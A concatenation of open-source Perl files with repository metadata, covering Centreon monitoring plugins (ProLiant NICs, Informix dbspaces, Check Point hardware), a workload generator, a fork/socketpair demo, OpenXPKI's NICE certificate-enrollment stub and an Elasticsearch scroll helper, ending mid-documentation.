$oid_cpqNicIfLogMapEntry = '.1.3.6.1.4.1.232.18.2.2.1.1'; my $oid_cpqNicIfLogMapDescription = '.1.3.6.1.4.1.232.18.2.2.1.1.3'; my $oid_cpqNicIfLogMapAdapterCount = '.1.3.6.1.4.1.232.18.2.2.1.1.5'; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $oid_cpqNicIfLogMapEntry, start => $mapping3->{cpqNicIfLogMapCondition}->{oid}, end => $mapping3->{cpqNicIfLogMapStatus}->{oid} }, { oid => $oid_cpqNicIfLogMapDescription }, { oid => $oid_cpqNicIfLogMapAdapterCount }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking logical nics"); $self->{components}->{lnic} = {name => 'logical nics', total => 0, skip => 0}; return if ($self->check_filter(section => 'lnic')); foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_cpqNicIfLogMapEntry}})) { next if ($oid !~ /^$mapping3->{cpqNicIfLogMapCondition}->{oid}\.(.*)$/); my $instance = $1; my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_cpqNicIfLogMapDescription}, instance => $instance); my $result2 = $self->{snmp}->map_instance(mapping => $mapping2, results => $self->{results}->{$oid_cpqNicIfLogMapAdapterCount}, instance => $instance); my $result3 = $self->{snmp}->map_instance(mapping => $mapping3, results => $self->{results}->{$oid_cpqNicIfLogMapEntry}, instance => $instance); next if ($self->check_filter(section => 'lnic', instance => $instance)); $self->{components}->{lnic}->{total}++; $self->{output}->output_add(long_msg => sprintf("logical nic '%s' [adapter count: %s, description: %s, status: %s] condition is %s.", $instance, $result2->{cpqNicIfLogMapAdapterCount}, centreon::plugins::misc::trim($result->{cpqNicIfLogMapDescription}), $result3->{cpqNicIfLogMapStatus}, $result3->{cpqNicIfLogMapCondition})); my $exit = $self->get_severity(section => 'lnic', value => $result3->{cpqNicIfLogMapCondition}); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("logical nic '%s' is %s", $instance, $result3->{cpqNicIfLogMapCondition})); } } } 1;
Tpo76/centreon-plugins
hardware/server/hp/proliant/snmp/mode/components/lnic.pm
Perl
apache-2.0
4,110
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package database::informix::mode::dbspacesusage; use base qw(centreon::plugins::mode); use strict; use warnings; use centreon::plugins::misc; sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; $options{options}->add_options(arguments => { "warning:s" => { name => 'warning', }, "critical:s" => { name => 'critical', }, "name:s" => { name => 'name', }, "regexp" => { name => 'use_regexp' }, }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::init(%options); if (($self->{perfdata}->threshold_validate(label => 'warning', value => $self->{option_results}->{warning})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong warning threshold '" . $self->{option_results}->{warning} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'critical', value => $self->{option_results}->{critical})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong critical threshold '" . $self->{option_results}->{critical} . "'."); $self->{output}->option_exit(); } } sub run { my ($self, %options) = @_; # $options{sql} = sqlmode object $self->{sql} = $options{sql}; $self->{sql}->connect(); my $query = q{ SELECT name dbspace, sum(chksize) pages_size, -- sum of all chunks size pages sum(nfree) pages_free -- sum of all chunks free pages FROM sysdbspaces d, syschunks c WHERE d.dbsnum = c.dbsnum GROUP BY d.name ORDER BY d.name }; $self->{sql}->query(query => $query); if (!defined($self->{option_results}->{name}) || defined($self->{option_results}->{use_regexp})) { $self->{output}->output_add(severity => 'OK', short_msg => 'All dbspaces usage are ok'); } my $count = 0; while ((my $row = $self->{sql}->fetchrow_hashref())) { my $name = centreon::plugins::misc::trim($row->{dbspace}); next if (defined($self->{option_results}->{name}) && !defined($self->{option_results}->{use_regexp}) && $name ne $self->{option_results}->{name}); next if (defined($self->{option_results}->{name}) && defined($self->{option_results}->{use_regexp}) && $name !~ /$self->{option_results}->{name}/); my $prct_used; if ($row->{pages_free} == 0) { $prct_used = 100; } else { $prct_used = ($row->{pages_size} - $row->{pages_free}) * 100 / $row->{pages_size}; } $count++; $self->{output}->output_add(long_msg => sprintf("Dbspace '%s': Used: %.2f%% Free: %.2f%%", $name, $prct_used, 100 - $prct_used)); my $exit_code = $self->{perfdata}->threshold_check(value => $prct_used, threshold => [ { label => 'critical', 'exit_litteral' => 'critical' }, { label => 'warning', exit_litteral => 'warning' } ]); if (!$self->{output}->is_status(value => $exit_code, compare => 'ok', litteral => 1) || (defined($self->{option_results}->{name}) && !defined($self->{option_results}->{use_regexp}))) { $self->{output}->output_add(severity => $exit_code, short_msg => sprintf("Dbspace '%s': Used: %.2f%% Free: %.2f%%", $name, $prct_used, 100 - $prct_used)); } my $extra_label = ''; $extra_label = '_' . $name if (!defined($self->{option_results}->{name}) || defined($self->{option_results}->{use_regexp})); $self->{output}->perfdata_add(label => 'used' . $extra_label, unit => '%', value => sprintf("%.2f", $prct_used), warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning'), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical'), min => 0, max => 100); } if ($count == 0) { $self->{output}->output_add(severity => 'UNKNOWN', short_msg => "Cannot find a dbspace (maybe the filter)."); } $self->{output}->display(); $self->{output}->exit(); } 1; __END__ =head1 MODE Check usage for one or more dbspaces. =over 8 =item B<--warning> Threshold warning in percent. =item B<--critical> Threshold critical in percent. =item B<--name> Set the dbspace (empty means 'check all dbspaces'). =item B<--regexp> Allows to use regexp to filter dbspaces (with option --name). =back =cut
wilfriedcomte/centreon-plugins
database/informix/mode/dbspacesusage.pm
Perl
apache-2.0
5,782
#!/usr/bin/perl #if 0 read first command line argument, assumed to be the minutes of samples #endif $i = int @ARGV[0] if scalar(@ARGV) or die "usage: perl −e gencurve.pl <number of minutes>"; for ($_ = 0; $_ < $i; $_+=1){ #if 0 determine number of users $n arriving in minute $_ #endif $n = numUsers($_); #if 0 let one user arrive each 1/$n minutes #endif for $b ( 1 .. $n){ $a = int ((($b/$n) + $_) ∗ 1000000000)∗60; print "\$2;$a;0;kieker.tools.slastic.tests.bookstoreDifferentRecordTypes.Bookstore.searchBook();NULL;$a$b;$a;$a;pc−vanhoorn;0;0\n" } } #if 0 workload function #endif sub f { my $x = shift @_; return 25∗sin(($x−13)/3.2)+10; } sub g { my $x = shift @_; return sqrt ($x+2)∗23; } sub h { my $x = shift @_; return 10 ∗ sin(($x−7)/6)+30; } sub numUsers { my $x = shift @_; return (1.8∗f($x) + 3.5 ∗h($x) + .8∗g($x) −110); } #include "function.h"
SLAsticSPE/slastic
testdata/genwl.pl
Perl
apache-2.0
907
use strict; use warnings; use Storable qw(freeze thaw); use IO::Socket; use IO::Select; print "Process ID: $$\n"; my $sel = IO::Select->new; my $n = 3; my $forks = 0; for (1 .. $n) { my ($child, $parent); socketpair($child, $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or throw("ERROR: Failed to open socketpair: $!"); $child->autoflush(1); $parent->autoflush(1); $sel->add($child); my $pid = fork; if (not defined $pid) { warn 'Could not fork'; next; } if ($pid) { $forks++; print "In the parent process PID ($$), Child pid: $pid Num of fork child processes: $forks\n"; } else { print "In the child process PID ($$)\n"; add_random_numbers($parent); sleep 2; print "Child ($$) exiting\n"; exit; } } while(my @ready = $sel->can_read()) { print scalar @ready, "\n"; my $no_read = 1; foreach my $fh (@ready) { print "fh $fh\n"; $no_read++; my $line = join('', $fh->getlines()); print $line, "\n"; next unless $line; $no_read = 0; $sel->remove($fh); $fh->close; $forks--; } last if $forks < 3; print "No read $no_read\n"; } #for (1 .. $forks) { # my $pid = wait(); # print "Parent saw $pid exiting\n"; #} #print "Parent ($$) ending\n"; sub add_random_numbers { my $parent = shift; print $parent, "\n"; die; print $parent freeze({ pid => $$, output => 'output', plugin_data => 'plugin_data', stderr => 'stderr', die => 'die', stats => 'counters', _VEP_CACHE => 'vepcache', }); exit(0); }
at7/work
vep/fork/socketpair_example.pl
Perl
apache-2.0
1,543
# # Copyright 2015 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::checkpoint::mode::hardware; use base qw(centreon::plugins::mode); use strict; use warnings; my $thresholds = { temperature => [ ['true', 'CRITICAL'], ['reading error', 'CRITICAL'], ['false', 'OK'], ], voltage => [ ['true', 'CRITICAL'], ['reading error', 'CRITICAL'], ['false', 'OK'], ], fan => [ ['true', 'CRITICAL'], ['reading error', 'CRITICAL'], ['false', 'OK'], ], psu => [ ['up', 'OK'], ['down', 'CRITICAL'], ['.*', 'UNKNOWN'], ], }; sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; $options{options}->add_options(arguments => { "exclude:s" => { name => 'exclude' }, "component:s" => { name => 'component', default => '.*' }, "no-component:s" => { name => 'no_component' }, "threshold-overload:s@" => { name => 'threshold_overload' }, }); $self->{components} = {}; $self->{no_components} = undef; return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::init(%options); if (defined($self->{option_results}->{no_component})) { if ($self->{option_results}->{no_component} ne '') { $self->{no_components} = $self->{option_results}->{no_component}; } else { $self->{no_components} = 'critical'; } } $self->{overload_th} = {}; foreach my $val (@{$self->{option_results}->{threshold_overload}}) { if ($val !~ /^(.*?),(.*?),(.*)$/) { $self->{output}->add_option_msg(short_msg => "Wrong treshold-overload option '" . $val . "'."); $self->{output}->option_exit(); } my ($section, $status, $filter) = ($1, $2, $3); if ($self->{output}->is_litteral_status(status => $status) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong treshold-overload status '" . $val . "'."); $self->{output}->option_exit(); } $self->{overload_th}->{$section} = [] if (!defined($self->{overload_th}->{$section})); push @{$self->{overload_th}->{$section}}, {filter => $filter, status => $status}; } } sub run { my ($self, %options) = @_; # $options{snmp} = snmp object $self->{snmp} = $options{snmp}; my $snmp_request = []; my @components = ('voltage', 'fan', 'temperature', 'psu'); foreach (@components) { if (/$self->{option_results}->{component}/) { my $mod_name = "network::checkpoint::mode::components::$_"; centreon::plugins::misc::mymodule_load(output => $self->{output}, module => $mod_name, error_msg => "Cannot load module '$mod_name'."); my $func = $mod_name->can('load'); $func->(request => $snmp_request); } } if (scalar(@{$snmp_request}) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong option. Cannot find component '" . $self->{option_results}->{component} . "'."); $self->{output}->option_exit(); } $self->{results} = $self->{snmp}->get_multiple_table(oids => $snmp_request); foreach (@components) { if (/$self->{option_results}->{component}/) { my $mod_name = "network::checkpoint::mode::components::$_"; my $func = $mod_name->can('check'); $func->($self); } } my $total_components = 0; my $display_by_component = ''; my $display_by_component_append = ''; foreach my $comp (sort(keys %{$self->{components}})) { # Skipping short msg when no components next if ($self->{components}->{$comp}->{total} == 0 && $self->{components}->{$comp}->{skip} == 0); $total_components += $self->{components}->{$comp}->{total} + $self->{components}->{$comp}->{skip}; my $count_by_components = $self->{components}->{$comp}->{total} + $self->{components}->{$comp}->{skip}; $display_by_component .= $display_by_component_append . $self->{components}->{$comp}->{total} . '/' . $count_by_components . ' ' . $self->{components}->{$comp}->{name}; $display_by_component_append = ', '; } $self->{output}->output_add(severity => 'OK', short_msg => sprintf("All %s components are ok [%s].", $total_components, $display_by_component) ); if (defined($self->{option_results}->{no_component}) && $total_components == 0) { $self->{output}->output_add(severity => $self->{no_components}, short_msg => 'No components are checked.'); } $self->{output}->display(); $self->{output}->exit(); } sub check_exclude { my ($self, %options) = @_; if (defined($options{instance})) { if (defined($self->{option_results}->{exclude}) && $self->{option_results}->{exclude} =~ /(^|\s|,)${options{section}}[^,]*#\Q$options{instance}\E#/) { $self->{components}->{$options{section}}->{skip}++; $self->{output}->output_add(long_msg => sprintf("Skipping $options{section} section $options{instance} instance.")); return 1; } } elsif (defined($self->{option_results}->{exclude}) && $self->{option_results}->{exclude} =~ /(^|\s|,)$options{section}(\s|,|$)/) { $self->{output}->output_add(long_msg => sprintf("Skipping $options{section} section.")); return 1; } return 0; } sub get_severity { my ($self, %options) = @_; my $status = 'UNKNOWN'; # default if (defined($self->{overload_th}->{$options{section}})) { foreach (@{$self->{overload_th}->{$options{section}}}) { if ($options{value} =~ /$_->{filter}/i) { $status = $_->{status}; return $status; } } } foreach (@{$thresholds->{$options{section}}}) { if ($options{value} =~ /$$_[0]/i) { $status = $$_[1]; return $status; } } return $status; } 1; __END__ =head1 MODE Check hardware (fans, power supplies, temperatures, voltages). =over 8 =item B<--component> Which component to check (Default: '.*'). Can be: 'psu', 'fan', 'temperature', 'voltage'. =item B<--exclude> Exclude some parts (comma seperated list) (Example: --exclude=psu) Can also exclude specific instance: --exclude='psu#1#' =item B<--absent-problem> Return an error if an entity is not 'present' (default is skipping) (comma seperated list) Can be specific or global: --absent-problem=fan#1# =item B<--no-component> Return an error if no compenents are checked. If total (with skipped) is 0. (Default: 'critical' returns). =item B<--threshold-overload> Set to overload default threshold values (syntax: section,status,regexp) It used before default thresholds (order stays). Example: --threshold-overload='fan,CRITICAL,^(?!(false)$)' =back =cut
s-duret/centreon-plugins
network/checkpoint/mode/hardware.pm
Perl
apache-2.0
8,155
package OpenXPKI::Server::NICE; use strict; use warnings; use English; use Data::Dumper; use OpenXPKI::Server::Context qw( CTX ); use OpenXPKI::Exception; use OpenXPKI::Debug; use OpenXPKI::Crypt::X509; use OpenXPKI::Serialization::Simple; use OpenXPKI::Server::Database::Legacy; use OpenXPKI::Server::Database; # to get AUTO_ID use Moose; #use namespace::autoclean; # Comnflicts with Debugger # Attribute Setup has 'activity' => ( is => 'ro', isa => 'Object|Undef', reader => '_get_activity', ); has 'workflow' => ( is => 'ro', isa => 'Workflow', reader => '_get_workflow', builder => '_init_workflow', lazy => 1, ); has 'context' => ( is => 'ro', isa => 'Workflow::Context', reader => '_get_context', builder => '_init_context', lazy => 1, ); has 'last_error' => ( is => 'rw', isa => 'Str', reader => 'get_last_error', lazy => 1, default => '', ); # Moose pre-constuctor to map single argument activity into expected hashref around BUILDARGS => sub { my $orig = shift; my $class = shift; return $class->$orig( activity => $_[0] ); }; sub _init_workflow { my $self = shift; my $activity = $self->_get_activity; return undef unless ($activity); return $activity->workflow(); } sub _init_context { my $self = shift; return $self->_get_workflow->context(); } sub _get_context_param { my ($self , $context_parameter_name) = @_; return $self->_get_context()->param( $context_parameter_name ); } sub _set_context_param { my ($self , $context_parameter_name, $set_to_value) = @_; return $self->_get_context()->param( $context_parameter_name, $set_to_value ); } sub __context_param { my ($self , $attrib_map, $context_parameter_name, $set_to_value) = @_; # Lookup map if there is a mapping my $real_parameter_name = $attrib_map->{$context_parameter_name}; $real_parameter_name = $context_parameter_name unless( $real_parameter_name ); if (defined $set_to_value) { return $self->_get_context()->param( $real_parameter_name, $set_to_value ); } else { return $self->_get_context()->param( $real_parameter_name ); } } # Put Information into the DataPool and write certificate table sub __persistCertificateInformation { my ($self, $cert_info, $persist_data) = @_; ##! 64: 'certificate information: ' . Dumper ( $cert_info ) my $pki_realm = CTX('api2')->get_pki_realm(); my $default_token = CTX('api2')->get_default_token(); my $x509 = OpenXPKI::Crypt::X509->new( $cert_info->{certificate} ); my $cert_data = $x509 ->db_hash(); my $identifier = $cert_data->{identifier}; my $serializer = OpenXPKI::Serialization::Simple->new(); if ($persist_data && (scalar keys %{$persist_data})) { my $serialized_data = $serializer->serialize( $persist_data ); ##! 16: 'Persist certificate: ' . $identifier ##! 32: 'persisted data: ' . Dumper( $persist_data ) CTX('api2')->set_data_pool_entry( pki_realm => $pki_realm, namespace => 'nice.certificate.information', key => $identifier, value => $serialized_data, encrypt => 0, force => 1, ); } # Try to autodetected the ca_identifier .... my $ca_id = $cert_info->{ca_identifier}; if (not $ca_id) { my $issuer = CTX('dbi')->select_one( from => 'certificate', columns => [ 'identifier' ], where => { $cert_data->{authority_key_identifier} ? (subject_key_identifier => $cert_data->{authority_key_identifier}) : (subject => $cert_data->{issuer_dn}), status => 'ISSUED', pki_realm => [ $pki_realm, undef ], }, ); ##! 32: 'returned issuer ' . Dumper( $issuer ) if ($issuer->{identifier}) { $ca_id = $issuer->{identifier}; } else { $ca_id = 'unknown'; CTX('log')->application()->warn("NICE certificate issued with unknown issuer! ($identifier / ".$cert_data->{issuer_dn}.")"); } } CTX('log')->audit('cakey')->info('certificate signed', { cakey => $cert_data->{authority_key_identifier}, certid => $identifier, key => $cert_data->{subject_key_identifier}, pki_realm => $pki_realm, }); CTX('log')->audit('entity')->info('certificate issued', { certid => $identifier, key => $cert_data->{subject_key_identifier}, pki_realm => $pki_realm, }); CTX('dbi')->insert( into => 'certificate', values=> { %$cert_data, issuer_identifier => $ca_id, pki_realm => $pki_realm, req_key => $cert_info->{csr_serial}, status => 'ISSUED', }, ); my @parsed_subject_alt_names = @{$x509->get_subject_alt_name()}; ##! 32: 'sans (parsed): ' . Dumper \@parsed_subject_alt_names for my $san (@parsed_subject_alt_names) { CTX('dbi')->insert( into => 'certificate_attributes', values => { attribute_key => AUTO_ID, identifier => $identifier, attribute_contentkey => 'subject_alt_name', attribute_value => join(":", @$san), }, ); } # if this originates from a workflow, register the workflow id in the attribute table if ($self->_get_workflow()) { CTX('dbi')->insert( into => 'certificate_attributes', values => { attribute_key => AUTO_ID, identifier => $identifier, attribute_contentkey => 'system_workflow_csr', attribute_value => $self->_get_workflow()->id, } ); } return $identifier; } sub __fetchPersistedCertificateInformation { my $self = shift; my $certificate_identifier = shift; my $pki_realm = CTX('api2')->get_pki_realm(); my $serialized_data = CTX('api2')->get_data_pool_entry( pki_realm => $pki_realm, namespace => 'nice.certificate.information', key => $certificate_identifier, ); my $serializer = OpenXPKI::Serialization::Simple->new(); return $serializer->deserialize( $serialized_data->{value} ); } sub issueCertificate { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub renewCertificate { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub fetchCertificate { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub revokeCertificate { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub unrevokeCertificate { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub checkForRevocation { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub issueCRL { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub fetchCRL { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub generateKey { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } sub fetchKey { OpenXPKI::Exception->throw( message => "I18N_OPENXPKI_SERVER_NICE_NOT_IMPLEMENTED_ERROR", params => { sub => (caller(0))[3] } ); } # Speeds up Moose __PACKAGE__->meta->make_immutable; 1; __END__ =head1 Name OpenXPKI::Server::NICE =head1 Description NICE ist the Nice Interface for Certificate Enrollment. This class is just a stub to be inherited by your specialised backend class. The mandatory input parameters are directly passed to the methods while the mandatory return values should be returned as a hash ref by the method call and are written to the context by the surrounding activity functions. The implementations are free to access the context to transport internal parameters. If the expected operation could not be completed, the method MUST return undef, it is recommended to set a verbose error in the I<last_error> class attribute (this might also show up on the UI). The methods should NOT use workflow controls as pause or retry, this should be left to the activity classes. Methods should throw exceptions only on final errors (such that will not succeed when called again with the same input data). =head1 API Functions =head2 issueCertificate Submit a certificate request for a new certificate. The certificate request entry from the database is passed in as hashref. Note that it highly depends on the implementation what properties are taken from the pkcs10 container and what can be overridden by other means. PKCS10 is the default format which should be supported by any backend. You might implement any own format. See documentation of the used backend for details. In case the backend has processed the request but needs extra time to process it, the response should be a hash with cert_identifier set to undef. The backend should support pickup of the certificate by fetch certificate in this case and keep information in the context to process this call. =head3 Parameters =over =item csr - hashref containing the database entry from the csr table =item ca_alias - name of the ca-token to use =back =head3 Return values =over =item cert_identifier - the identifier of the issued certificate =back =head3 csr attributes Besides the properties of the csr, following attributes should be processed where applicable. =over =item I<custom_requester_{name|gname|email}> - information about the requester =item I<cert_subject_alt_name> - Nested Array with attributes for SAN section =item I<notbefore|notafter> - special validity =back =head2 renewCertificate Submit a certificate renewal request. Same as issueCertificate but receives the certificate identifier of the originating certificate as second parameter. =head2 fetchCertificate This is only valid if issueCertificate or renewCertificate returned with a pending request and tries to fetch the requested certificate. If successful, the cert_identifier context parameter is populated with the identifier, otherwise the pending marker remains in the context. If the fetch finally failed, it should unset the cert_identifier. =head3 Output =over =item cert_identifier - the identifier of the issued certificate =back =head2 revokeCertificate Request the ca to add this certificate to its revocation list. Expects the serial of the certificate revocation request. If the given reason is not supported by the backend, "unspecified" should be used. =head3 Parameters =over =item cert_identifier - the certificate identifier of the cert to revoke =item reason_code =item invalidity_time =back =head3 Return Values Boolean, true if the request was processed. Should throw an exception if revocation is not possible. =head2 checkForRevocation Might only valid after calling revokeCertificate. Check if the certificate revocation request was processed and set the status field in the certificate table to REVOKED/HOLD. The special state HOLD must be used only if the certificate is marked as "certificateHold" on the issued CRL or OCSP. =head3 Parameters =over =item cert_identifier =back =head3 Return Values true if the certificate is revoked, false if not. =head2 unrevokeCertificate Remove a formerly revoked certifiate from the revocation list. Expects the certificate identifier. Only allowed after "certificateHold", sets the status field of the certificate status table back to ISSUED immediately. =head3 Input =over =item cert_identifier =back =head2 issueCRL Trigger issue of the crl and write it into the "crl" parameter. The parameter ca_alias contains the alias name of the ca token. In case the backend has processed the request but needs extra time to process it, the response should be a hash with csr_serial set to undef. The backend should support pickup of the certificate by fetchCrl in this case and keep information in the context to process this call. =head3 Parameters =over =item ca_alias =back =head3 Return values =over =item crl_serial - the serial number (key of the crl database) =back =head2 fetchCRL Only valid after calling issueCRL, tries to fetch the new CRL. See issue/fetchCertificate how to use the pending marker. =head2 generateKey Generate and return a private key according to the parameters passed. Supported modes and parameter sets depend on the backend, some backends might even not implement this method. =head3 Input =over =item mode - can be used to switch between different modes, see backend =item key_alg - name of the algorithm, as used in the profile definitions =item key_params - key generation parameters, hash with pkey options =item key_transport - hash with key I<password> and I<algorithm>, determines settings for the used transport encryption =back =head3 Output Return value is a hash, the encrypted key must be returned in the key I<pkey>. Additional arguments might be returned by the backend. =head2 fetchKey Fetch a key created by with generateKey from the backend. Usage of the password and key_transport settings might differ between implementations. =head3 Input =over =item key_identifier - the identifier of the key =item password - password / secret to fetch the key =item key_transport - hash with key I<password> and I<algorithm>, determines settings for the used transport encryption =back =head1 internal helper functions =head2 _get_context_param Expect the name of the context field as parameter and returns the appropriate context value. Does B<not> deserialize the content. =head2 _set_context_param Expect the name of the context field, and its new value. Does B<not> serialize the content. =head2 __persistCertificateInformation Persist a certificate into the certificate table and store implementation specific information in the datapool. The first parameter is mandatory with all fields given below. The second parameter is serialized "as is" and stored in the datapool and can be retrieved later using C<__fetchPersistedCertificateInformation>. =head3 certificate_information =over =item certificate - the PEM encoded certificate =item ca_identifier - the identifier of the issuing ca =item csr_serial - serial number of the processed csr =back The certificate is expected to be a x509 structure. A pkcs7 container with the entity certificate and its chain is also accepted. If the ca_identifier is not set, we try to autodetect it by searching the certificate table for a certificate which matches the authority key identifier. If the certificate has no authority key identifier set, the lookup is done on the the issuer dn. =head2 __fetchPersistedCertificateInformation Return the hashref for a given certificate identifiere stored within the datapool using C<__persistCertificateInformation>. =head1 Implementors Guide The NICE API implements every operation in two individual steps to support asynchronus operating backends. If you are building a synchronus backend, you can ommit the implementation of the second steps. The activity definitions in OpenXPKI::Server::Workflow::Activity::NICE::* show the expected usage of the API functions. =head1 issue/renew Certificate The request information must be taken from the csr and csr_attributes t The method must persist the certificate by calling __persistCertificateInformation and write the certificates identifier into the context parameter cert_identifier. If the request was dispatched but is still pending, the must be written into the cert_identifier context value. If cert_identifier is not set after execution, the workflow will call this method again.
oliwel/openxpki
core/server/OpenXPKI/Server/NICE.pm
Perl
apache-2.0
16,687
package Search::Elasticsearch::Client::5_0::Scroll; use Moo; use Search::Elasticsearch::Util qw(parse_params throw); use namespace::clean; has '_buffer' => ( is => 'ro' ); with 'Search::Elasticsearch::Role::Is_Sync', 'Search::Elasticsearch::Client::5_0::Role::Scroll'; #=================================== sub BUILDARGS { #=================================== my ( $class, $params ) = parse_params(@_); my $es = delete $params->{es}; my $scroll = $params->{scroll} ||= '1m'; throw( 'Param', 'The (scroll_in_body) parameter has been replaced by (scroll_in_qs)' ) if exists $params->{scroll_in_body}; my $scroll_in_qs = delete $params->{scroll_in_qs}; my $results = $es->search($params); my $total = $results->{hits}{total}; return { es => $es, scroll => $scroll, scroll_in_qs => $scroll_in_qs, aggregations => $results->{aggregations}, facets => $results->{facets}, suggest => $results->{suggest}, took => $results->{took}, total_took => $results->{took}, total => $total, max_score => $results->{hits}{max_score}, _buffer => $results->{hits}{hits}, $total ? ( _scroll_id => $results->{_scroll_id} ) : ( is_finished => 1 ) }; } #=================================== sub next { #=================================== my ( $self, $n ) = @_; $n ||= 1; while ( $self->_has_scroll_id and $self->buffer_size < $n ) { $self->refill_buffer; } my @return = splice( @{ $self->_buffer }, 0, $n ); $self->finish if @return < $n; return wantarray ? @return : $return[-1]; } #=================================== sub drain_buffer { #=================================== my $self = shift; return splice( @{ $self->_buffer } ); } #=================================== sub buffer_size { 0 + @{ shift->_buffer } } #=================================== #=================================== sub refill_buffer { #=================================== my $self = shift; return 0 if $self->is_finished; my $buffer = $self->_buffer; my $scroll_id = $self->_scroll_id || return 0 + @$buffer; my $results = $self->scroll_request; my $hits = $results->{hits}{hits}; $self->_set_total_took( $self->total_took + $results->{took} ); if ( @$hits == 0 ) { $self->_clear_scroll_id; } else { $self->_set__scroll_id( $results->{_scroll_id} ); push @$buffer, @$hits; } $self->finish if @$buffer == 0; return 0 + @$buffer; } #=================================== sub finish { #=================================== my $self = shift; return if $self->is_finished || $self->_pid != $$; $self->_set_is_finished(1); @{ $self->_buffer } = (); my $scroll_id = $self->_scroll_id or return; $self->_clear_scroll_id; my %args = $self->scroll_in_qs ? ( scroll_id => $scroll_id ) : ( body => $scroll_id ); eval { $self->es->clear_scroll(%args) }; return 1; } 1; __END__ # ABSTRACT: A helper module for scrolled searches =head1 SYNOPSIS use Search::Elasticsearch; my $es = Search::Elasticsearch->new; my $scroll = $es->scroll_helper( index => 'my_index', body => { query => {...}, size => 1000, sort => '_doc' } ); say "Total hits: ". $scroll->total; while (my $doc = $scroll->next) { # do something } =head1 DESCRIPTION A I<scrolled search> is a search that allows you to keep pulling results until there are no more matching results, much like a cursor in an SQL database. Unlike paginating through results (with the C<from> parameter in L<search()|Search::Elasticsearch::Client::5_0::Direct/search()>), scrolled searches take a snapshot of the current state of the index. Even if you keep adding new documents to the index or updating existing documents, a scrolled search will only see the index as it was when the search began. This module is a helper utility that wraps the functionality of the L<search()|Search::Elasticsearch::Client::5_0::Direct/search()> and L<scroll()|Search::Elasticsearch::Client::5_0::Direct/scroll()> methods to make them easier to use. This class does L<Search::Elasticsearch::Client::5_0::Role::Scroll> and L<Search::Elasticsearch::Role::Is_Sync>. =head1 USE CASES There are two primary use cases: =head2 Pulling enough results Perhaps you want to group your results by some field, and you don't know exactly how many results you will need in order to return 10 grouped results. With a scrolled search you can keep pulling more results until you have enough. For instance, you can search emails in a mailing list, and return results grouped by C<thread_id>: my (%groups,@results); my $scroll = $es->scroll_helper( index => 'my_emails', type => 'email', body => { query => {... some query ... }} ); my $doc; while (@results < 10 and $doc = $scroll->next) { my $thread = $doc->{_source}{thread_id}; unless ($groups{$thread}) { $groups{$thread} = []; push @results, $groups{$thread}; } push @{$groups{$thread}},$doc; } =head2 Extracting all documents Often you will want to extract all (or a subset of) documents in an index. If you want to change your type mappings, you will need to reindex all of your data. Or perhaps you want to move a subset of the data in one index into a new dedicated index. In these cases, you don't care about sort order, you just want to retrieve all documents which match a query, and do something with them. For instance, to retrieve all the docs for a particular C<client_id>: my $scroll = $es->scroll_helper( index => 'my_index', size => 1000, body => { query => { match => { client_id => 123 } }, sort => '_doc' } ); while (my $doc = $scroll->next) { # do something } Very often the I<something> that you will want to do with these results involves bulk-indexing them 